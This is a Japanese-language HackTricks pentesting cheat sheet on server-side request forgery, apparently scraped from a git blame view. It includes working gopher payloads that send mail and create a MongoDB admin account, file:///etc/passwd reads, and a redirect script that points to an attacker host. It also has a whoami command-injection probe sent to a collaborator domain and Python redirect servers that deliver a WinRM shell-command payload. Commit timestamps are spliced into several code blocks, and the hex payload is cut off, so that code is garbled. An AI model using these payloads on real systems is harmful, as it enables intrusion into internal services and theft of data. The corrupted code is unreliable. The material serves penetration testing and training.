hacktricks/pentesting-web/ssrf-server-side-request-forgery/README.md

408 lines
31 KiB
Markdown
Raw Normal View History

# SSRF (Server Side Request Forgery)
2022-04-28 16:01:33 +00:00
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-09-01 23:40:55 +00:00
\
[**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=ssrf-server-side-request-forgery)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスを取得:
2022-09-01 23:40:55 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
2022-09-01 23:40:55 +00:00
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
## 基本情報
**サーバーサイドリクエストフォージェリSSRF**の脆弱性は、攻撃者が**サーバーサイドアプリケーション**を操作して、選択したドメインに**HTTPリクエスト**を送信させるときに発生します。この脆弱性は、攻撃者によって指示された任意の外部リクエストに対してサーバーをさらします。
2022-02-13 12:30:13 +00:00
2023-07-07 23:42:27 +00:00
## SSRFのキャプチャ
2022-02-13 12:30:13 +00:00
最初に行うべきことは、あなたが生成したSSRFインタラクションをキャプチャすることです。HTTPまたはDNSインタラクションをキャプチャするには、次のようなツールを使用できます
2022-02-13 12:30:13 +00:00
* **Burp Collaborator**
2022-02-13 12:30:13 +00:00
* [**pingb**](http://pingb.in)
2022-09-01 23:40:55 +00:00
* [**canarytokens**](https://canarytokens.org/generate)
2022-04-05 22:24:52 +00:00
* [**interractsh**](https://github.com/projectdiscovery/interactsh)
* [**http://webhook.site**](http://webhook.site)
* [**https://github.com/teknogeek/ssrf-sheriff**](https://github.com/teknogeek/ssrf-sheriff)
* [http://requestrepo.com/](http://requestrepo.com/)
* [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness)
* [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - ngrokを使用したBurp Collaborator
2022-02-13 12:30:13 +00:00
## ホワイトリストドメインのバイパス
2022-02-13 12:30:13 +00:00
通常、SSRFは**特定のホワイトリストドメイン**またはURLでのみ機能します。次のページには、そのホワイトリストをバイパスするための**技術のコンパイル**があります:
2022-02-13 12:30:13 +00:00
{% content-ref url="url-format-bypass.md" %}
[url-format-bypass.md](url-format-bypass.md)
{% endcontent-ref %}
### オープンリダイレクトによるバイパス
2022-02-13 12:30:13 +00:00
サーバーが適切に保護されている場合、**ウェブページ内のオープンリダイレクトを悪用することで、すべての制限をバイパスできる可能性があります**。ウェブページは**同じドメインへのSSRFを許可し、リダイレクトを**おそらく**追従するため、**オープンリダイレクトを悪用してサーバーが内部の任意のリソースにアクセスするようにすることができます**。\
詳細はこちらをお読みください:[https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
2022-02-13 12:30:13 +00:00
2023-07-07 23:42:27 +00:00
## プロトコル
2022-04-29 15:47:17 +00:00
* **file://**
* URLスキーム`file://`が参照され、直接`/etc/passwd`を指します:`file:///etc/passwd`
* **dict://**
* DICT URLスキームは、DICTプロトコルを介して定義や単語リストにアクセスするために使用されると説明されています。特定の単語、データベース、エントリ番号をターゲットにした構築されたURLの例が示され、攻撃者提供の資格情報を使用してDICTサーバーに接続するためにPHPスクリプトが悪用される可能性があることが示されています`dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
* **SFTP://**
* セキュアシェルを介った安全なファイル転送のためのプロトコルとして特定され、悪意のあるSFTPサーバーに接続するためにPHPスクリプトが悪用される方法の例が提供されています`url=sftp://generic.com:11111/`
* **TFTP://**
* UDP上で動作するトリビアルファイル転送プロトコルが言及され、TFTPサーバーにリクエストを送信するために設計されたPHPスクリプトの例が示されています。TFTPリクエストは、ポート「12346」で「generic.com」に対してファイル「TESTUDPPACKET」に対して行われます`ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
* **LDAP://**
* このセクションでは、軽量ディレクトリアクセスプロトコルについて説明し、IPネットワークを介して分散ディレクトリ情報サービスを管理およびアクセスするために使用されることを強調しています。ローカルホストのLDAPサーバーと対話する`'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
* **SMTP**
* SSRF脆弱性を悪用してローカルホスト上のSMTPサービスと対話する方法が説明されており、内部ドメイン名を明らかにし、その情報に基づいてさらなる調査を行う手順が含まれています。
2022-02-13 12:30:13 +00:00
```
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
2022-02-13 12:30:13 +00:00
```
* **Curl URL globbing - WAF バイパス**
* SSRFが**curl**によって実行される場合、curlにはWAFをバイパスするのに役立つ[**URL globbing**](https://everything.curl.dev/cmdline/globbing)という機能があります。例えば、この[**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi)では、**`file`プロトコルを介したパストラバーサル**の例が見つかります:
2022-02-13 12:30:13 +00:00
```
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
2022-02-13 12:30:13 +00:00
```
* **Gopher://**
* GopherプロトコルのIP、ポート、バイトを指定してサーバーと通信する能力について説明し、ペイロードを作成するためのGopherusやremote-method-guesserなどのツールを紹介します。2つの異なる使用例が示されています。
2022-09-01 23:40:55 +00:00
### Gopher://
2022-02-13 12:30:13 +00:00
このプロトコルを使用すると、サーバーに**送信**してほしい**IP、ポート、バイト**を指定できます。これにより、基本的にSSRFを利用して**任意のTCPサーバー**と**通信**することができます(ただし、最初にサービスと話す方法を知っている必要があります)。\
幸いなことに、[Gopherus](https://github.com/tarunkant/Gopherus)を使用して、いくつかのサービスのペイロードを作成できます。さらに、[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)を使用して、_Java RMI_サービス用の_gopher_ペイロードを作成することもできます。
2022-02-13 12:30:13 +00:00
2022-04-29 15:47:17 +00:00
**Gopher smtp**
2022-02-13 12:30:13 +00:00
```
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
```
**ゴファー HTTP**
2022-02-13 12:30:13 +00:00
```bash
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
```
**Gopher SMTP — 1337へのバックコネクト**
2022-02-13 12:30:13 +00:00
{% code title="redirect.php" %}
```php
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
```
{% endcode %}
#### Gopher MongoDB -- ユーザー名=admin、パスワード=admin123、権限=administratorのユーザーを作成
```bash
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'
```
## SSRF via Referrer header & Others
2023-03-05 15:13:44 +00:00
サーバー上の分析ソフトウェアは、受信リンクを追跡するためにReferrerヘッダーをログに記録することが多く、この慣行はアプリケーションをServer-Side Request Forgery (SSRF) 脆弱性に無意識のうちにさらします。これは、そのようなソフトウェアがReferrerヘッダーに記載された外部URLを訪れて、リファラルサイトのコンテンツを分析する可能性があるためです。これらの脆弱性を明らかにするために、Burp Suiteプラグイン "**Collaborator Everywhere**" の使用が推奨されており、分析ツールがRefererヘッダーを処理する方法を利用して、潜在的なSSRF攻撃面を特定します。
2023-01-11 11:28:05 +00:00
## SSRF via SNI data from certificate
2023-01-11 11:28:05 +00:00
単純な設定を通じて任意のバックエンドへの接続を可能にする誤設定は、例としてNginxの設定で示されています:
```
2023-01-11 11:28:05 +00:00
stream {
2023-07-07 23:42:27 +00:00
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
2023-01-11 11:28:05 +00:00
}
```
この構成では、サーバー名インディケーションSNIフィールドの値がバックエンドのアドレスとして直接利用されます。この設定は、サーバーサイドリクエストフォージェリSSRFに対する脆弱性を露呈し、SNIフィールドに希望するIPアドレスまたはドメイン名を指定するだけで悪用される可能性があります。任意のバックエンド、例えば `internal.host.com` への接続を強制するための悪用例として、以下の `openssl` コマンドが示されています:
2023-01-11 11:28:05 +00:00
```bash
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
2023-01-11 11:28:05 +00:00
```
## [Wgetファイルアップロード](../file-upload/#wget-file-upload-ssrf-trick)
2023-01-22 18:27:01 +00:00
## コマンドインジェクションを伴うSSRF
2022-02-13 12:30:13 +00:00
次のようなペイロードを試してみる価値があるかもしれません: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
## PDFのレンダリング
ウェブページが提供した情報で自動的にPDFを作成している場合、**PDF作成者**サーバーによってPDF作成中に実行されるJSを**挿入することができます**。これにより、SSRFを悪用することが可能です。[**詳細はこちら**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**。**
## SSRFからDoSへ
複数のセッションを作成し、セッションからSSRFを利用して重いファイルをダウンロードしてみてください。
## SSRF PHP関数
脆弱なPHPやWordpress関数については、以下のページを確認してください:
{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %}
[php-ssrf.md](../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
{% endcontent-ref %}
## GopherへのSSRFリダイレクト
いくつかのエクスプロイトには、**リダイレクトレスポンスを送信する必要があるかもしれません**gopherのような異なるプロトコルを使用するため。ここでは、リダイレクトで応答するための異なるPythonコードがあります:
```python
2022-02-13 12:30:13 +00:00
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
2023-07-07 23:42:27 +00:00
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%7
2023-07-07 23:42:27 +00:00
self.end_headers()
2022-02-13 12:30:13 +00:00
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
```
2022-02-13 12:30:13 +00:00
```python
from flask import Flask, redirect
from urllib.parse import quote
2023-07-07 23:42:27 +00:00
app = Flask(__name__)
2022-02-13 12:30:13 +00:00
2023-07-07 23:42:27 +00:00
@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
```
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=ssrf-server-side-request-forgery)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスを取得:
2022-09-01 23:40:55 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
## SSRFへの誤設定されたプロキシ
この投稿からのトリック [**from this post**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
### Flask
<details>
<summary>Flaskプロキシの脆弱なコード</summary>
```python
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
2024-04-06 18:36:04 +00:00
def proxy(path):
return get(f'{SITE_NAME}{path}').content
2024-04-06 18:36:04 +00:00
if __name__ == "__main__":
app.run(threaded=False)
```
</details>
Flaskは**`@`**を初期文字として使用することを許可しており、**初期ホスト名をユーザー名にする**ことができ、新しいホスト名を注入することができます。攻撃リクエスト:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
```
### Spring Boot <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
脆弱なコード:
<figure><img src="../../.gitbook/assets/image (1201).png" alt=""><figcaption></figcaption></figure>
リクエストの**パス**を文字**`;`**で開始することが可能であり、その後**`@`**を使用して新しいホストを注入してアクセスすることができることが発見されました。攻撃リクエスト:
```http
2024-04-06 18:36:04 +00:00
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
### PHP組み込みWebサーバー <a href="#heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation" id="heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation"></a>
<details>
<summary>脆弱なPHPコード</summary>
```php
<?php
$site = "http://ifconfig.me";
$current_uri = $_SERVER['REQUEST_URI'];
$proxy_site = $site.$current_uri;
var_dump($proxy_site);
echo "\n\n";
$response = file_get_contents($proxy_site);
var_dump($response);
?>
```
</details>
PHPは、URLのパスのスラッシュの前に**char `*`**を使用することを許可しますが、他にも制限があります。例えば、ルートパス `/` のみで使用でき、最初のスラッシュの前にドット `.` を使用することは許可されていません。そのため、例えばドットなしの16進数エンコードされたIPアドレスを使用する必要があります:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close
```
## DNS Rebidding CORS/SOP バイパス
**CORS/SOP** のために **ローカル IP からコンテンツを抽出するのに問題がある場合**、**DNS Rebidding** を使用してその制限をバイパスできます:
2022-04-29 15:51:30 +00:00
{% content-ref url="../cors-bypass.md" %}
[cors-bypass.md](../cors-bypass.md)
{% endcontent-ref %}
### 自動化された DNS Rebidding
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) は [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) 攻撃を実行するためのツールです。攻撃サーバーの DNS 名の IP アドレスをターゲットマシンの IP アドレスに再バインドし、ターゲットマシン上の脆弱なソフトウェアを悪用するための攻撃ペイロードを提供するために必要なコンポーネントが含まれています。
また、**http://rebind.it/singularity.html** にある **公開サーバー** もチェックしてください。
## DNS Rebidding + TLS セッション ID/セッションチケット
要件:
* **SSRF**
* **アウトバウンド TLS セッション**
* **ローカルポート上のもの**
攻撃:
1. ユーザー/ボットに **攻撃者が制御するドメイン****アクセス** させる
2. **DNS****TTL****0** 秒です(したがって、被害者はすぐにドメインの IP を再確認します)
3. 被害者と攻撃者のドメイン間に **TLS 接続** が作成されます。攻撃者は **セッション ID またはセッションチケットの中に** **ペイロードを挿入** します。
4. **ドメイン****自分自身** に対して **無限ループ** のリダイレクトを開始します。これにより、ユーザー/ボットがドメインにアクセスし、再度 **DNS リクエスト** を実行することを目的としています。
5. DNS リクエストでは **プライベート IP** アドレスが **今** 与えられます(例えば 127.0.0.1)。
6. ユーザー/ボットは **TLS 接続を再確立しようとし**、そのために **セッション** ID/チケット ID攻撃者の **ペイロード** が含まれていた場所)を **送信** します。おめでとうございます、あなたは **ユーザー/ボットに自分自身を攻撃させる** ことに成功しました。
この攻撃中、localhost:11211 (_memcache_) を攻撃したい場合は、被害者に www.attacker.com:11211 との初期接続を確立させる必要があります(**ポートは常に同じでなければなりません**)。\
この攻撃を実行するには、次のツールを使用できます: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
**詳細情報**については、この攻撃が説明されているトークを見てください: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
## ブラインド SSRF
ブラインド SSRF と非ブラインド SSRF の違いは、ブラインドでは SSRF リクエストの応答を見ることができないことです。そのため、悪用が難しく、よく知られた脆弱性のみを悪用できることになります。
### 時間ベースの SSRF
サーバーからの応答の **時間を確認することで、リソースが存在するかどうかを知ることができるかもしれません**(存在するリソースにアクセスするのにかかる時間が、存在しないリソースにアクセスするのにかかる時間よりも長いかもしれません)。
## クラウド SSRF 脆弱性の悪用
クラウド環境内で実行されているマシンに SSRF 脆弱性を見つけた場合、クラウド環境に関する興味深い情報や資格情報を取得できるかもしれません:
{% content-ref url="cloud-ssrf.md" %}
[cloud-ssrf.md](cloud-ssrf.md)
{% endcontent-ref %}
## SSRF 脆弱なプラットフォーム
いくつかの既知のプラットフォームには SSRF 脆弱性が含まれているか、含まれていたことがあります。以下で確認してください:
{% content-ref url="ssrf-vulnerable-platforms.md" %}
[ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md)
{% endcontent-ref %}
## ツール
### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap)
SSRF 脆弱性を検出し、悪用するためのツール
### [Gopherus](https://github.com/tarunkant/Gopherus)
* [Gopherus に関するブログ記事](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
このツールは、次のための Gopher ペイロードを生成します:
* MySQL
* PostgreSQL
* FastCGI
* Redis
* Zabbix
* Memcache
### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
* [SSRF 使用に関するブログ記事](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
_remote-method-guesser_ は _Java RMI_ 脆弱性スキャナーで、最も一般的な _Java RMI_ 脆弱性に対する攻撃操作をサポートしています。利用可能なほとんどの操作は `--ssrf` オプションをサポートしており、要求された操作のための _SSRF_ ペイロードを生成します。`--gopher` オプションと組み合わせることで、すぐに使用できる _gopher_ ペイロードを直接生成できます。
### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
SSRF Proxy は、サーバーサイドリクエストフォージェリ (SSRF) に脆弱な HTTP サーバーを通じてクライアントの HTTP トラフィックをトンネルするために設計されたマルチスレッド HTTP プロキシサーバーです。
### 実践するために
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
## 参考文献
* [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
* [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
{% hint style="success" %}
AWS ハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP ハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks をサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**Telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローしてください**。**
* [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を送信してハッキングのトリックを共有してください。
2022-09-01 23:40:55 +00:00
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=ssrf-server-side-request-forgery) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築し、自動化** します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}